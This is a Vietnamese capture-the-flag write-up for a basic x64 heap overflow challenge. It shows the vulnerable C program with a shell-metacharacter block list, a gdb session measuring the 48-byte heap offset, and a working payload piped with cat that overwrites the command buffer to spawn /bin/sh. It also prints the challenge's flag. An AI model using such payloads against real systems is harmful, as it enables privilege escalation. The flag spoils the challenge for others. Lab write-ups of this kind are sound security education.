ELF x64 - Basic heap overflow

I. Buffer Overflow trong bộ nhớ heap

- Cấu trúc bộ nhớ heap
  - Lưu trữ data cấp phát động qua hàm malloc, calloc, new
- Heap Overflow: thường đi liền với lỗi tràn số nguyên
  - Input không đáng tin
  - Kiểm tra điều kiện không đầy đủ
  - Tính toán vượt giới hạn lưu trữ
  - Kết quả sai này dùng để cấp phát heap và chép dữ liệu → tràn

II. Write up

1. Phân tích code

- Code check giá trị arg truyền vào nên không thể chèn lệnh thực thi riêng

```
void    checkArg(const char *a)
{
  while (*a)
    {
      if (   (*a == ';')
          || (*a == '&')
          || (*a == '|')
          || (*a == ',')
          || (*a == '$')
          || (*a == '(')
          || (*a == ')')
          || (*a == '{')
          || (*a == '}')
          || (*a == '`')
          || (*a == '>')
          || (*a == '<') ) {
        puts("Forbidden !!!");
        exit(2);
      }
        a++;
    }
}
```

- 2 biến arg và cmd được cấp phát động, cmd sẽ nằm ở sau arg
- Sử dụng gets nhận giá trị arg → không kiểm tra dẫn đến gây tràn
- Việc tràn này sẽ ghi đè lên giá trị biến nằm phía sau nó là cmd

```
int     main()
{
  char  *arg = malloc(0x20);
  char  *cmd = malloc(0x400);
  setreuid(geteuid(), geteuid());

  strcpy(cmd, "/bin/ls -l ");

  printf("Enter directory you want to display : ");

  gets(arg);
  checkArg(arg);

  strcat(cmd, arg);
  system(cmd);

  return 0;
}
app-systeme-ch94@challenge03:~$
```

2. Kiểm tra địa chỉ và tạo payload

- Dùng gdb để xem thông tin địa chỉ
- Break tại hàm main và run để xem thông tin các lệnh assembly

```
No symbol table is loaded.  Use the "file" command.
(gdb) break main
Breakpoint 1 at 0x950
(gdb) run
Starting program: /challenge/app-systeme/ch94/ch94

Breakpoint 1, 0x000055d616981950 in main ()
(gdb) disas main
Dump of assembler code for function main:
   0x000055d61698194c <+0>:     push   rbp
   0x000055d61698194d <+1>:     mov    rbp,rsp
=> 0x000055d616981950 <+4>:     push   rbx
   0x000055d616981951 <+5>:     sub    rsp,0x18
   0x000055d616981955 <+9>:     mov    edi,0x20
   0x000055d61698195a <+14>:    call   0x55d616981730 <malloc@plt>
   0x000055d61698195f <+19>:    mov    QWORD PTR [rbp-0x20],rax
   0x000055d616981963 <+23>:    mov    edi,0x400
   0x000055d616981968 <+28>:    call   0x55d616981730 <malloc@plt>
   0x000055d61698196d <+33>:    mov    QWORD PTR [rbp-0x18],rax
   0x000055d616981971 <+37>:    call   0x55d616981710 <geteuid@plt>
   0x000055d616981976 <+42>:    mov    ebx,eax
   0x000055d616981978 <+44>:    call   0x55d616981710 <geteuid@plt>
   0x000055d61698197d <+49>:    mov    esi,ebx
   0x000055d61698197f <+51>:    mov    edi,eax
   0x000055d616981981 <+53>:    call   0x55d616981740 <setreuid@plt>
   0x000055d616981986 <+58>:    mov    rax,QWORD PTR [rbp-0x18]
```

- Break tại geteuid để xem giá trị tại 2 con trỏ chứa địa chỉ 2 biến cần tìm (arg và cmd)
- Lỗi do ASLR (ngẫu nhiên không gian địa chỉ) nên break địa chỉ cứng bị lỗi

```
   0x000055d6169819f6 <+170>:   ret
End of assembler dump.
(gdb) break *0x000055d616981971
Breakpoint 2 at 0x55d616981971
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /challenge/app-systeme/ch94/ch94
Warning:
Cannot insert breakpoint 2.
Cannot access memory at address 0x55d616981971

(gdb) x $rbp-0x20
0xffffffffffffffe0:     Cannot access memory at address 0xffffffffffffffe0
(gdb) x $rbp-0x18
0xffffffffffffffe8:     Cannot access memory at address 0xffffffffffffffe8
(gdb) S
```

- Sửa break

```
Delete all breakpoints? (y or n) y
(gdb) break *main+37
Breakpoint 3 at 0x5585425f4971
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /challenge/app-systeme/ch94/ch94

Breakpoint 3, 0x00005622f28c8971 in main ()
(gdb) x $rbp-0x20
0x7ffff29a5ea0: 0xf3890260
(gdb) x $rbp-0x18
0x7ffff29a5ea8: 0xf3890290
(gdb)
```

- 2 địa chỉ cách nhau 0x30 = 48 byte → cần chèn 48 byte rác để ghi đè lên biến cmd
- Vậy làm sao bypass strcat sau khi ghi đè ở gets, cơ chế hoạt động của 2 hàm này?
    - gets: đọc đến khi gặp \n (0x0A) hoặc EOF (thay 0x0A = \0x00)
    - strcat: tìm \0x00 và ghi đè từ vị trí này đến ghi gặp \0x00 của chuỗi nguồn sẽ dừng và thêm \0x00 để kết thúc chuỗi

- Payload được thiết kế có dạng: \x00 + 47 byte rác + “/bin/sh” để mở shell chiếm quyền điều khiển
- Payload: (python -c 'print("\x00" + "a"*47 + "/bin/sh")'; cat) | ./ch94

```
app-systeme-ch94@challenge03:~$ (python -c 'print("\x00" + "a"*47 + "/bin/sh")'; cat) | ./ch94
cat .passwd
This_is_a_basic_heap_overflow
```

- Tại sao cần thêm cat
  - Khi python tạo payload xong và truyền vào hàm nó sẽ đóng thì shell vừa tạo cũng sẽ đóng
  - Shell không có đầu vào sẽ đóng ngay lập tức
  - Cat: không tự đóng khi chưa đủ tham số hoặc bị ép dừng → dùng cat để giữ shell
- Tại sao cat đang giữ shell mà nhập lệnh khác vẫn thực thi
  - cat: nhận dữ liệu từ bàn phiasm → chuyển qua | cho shell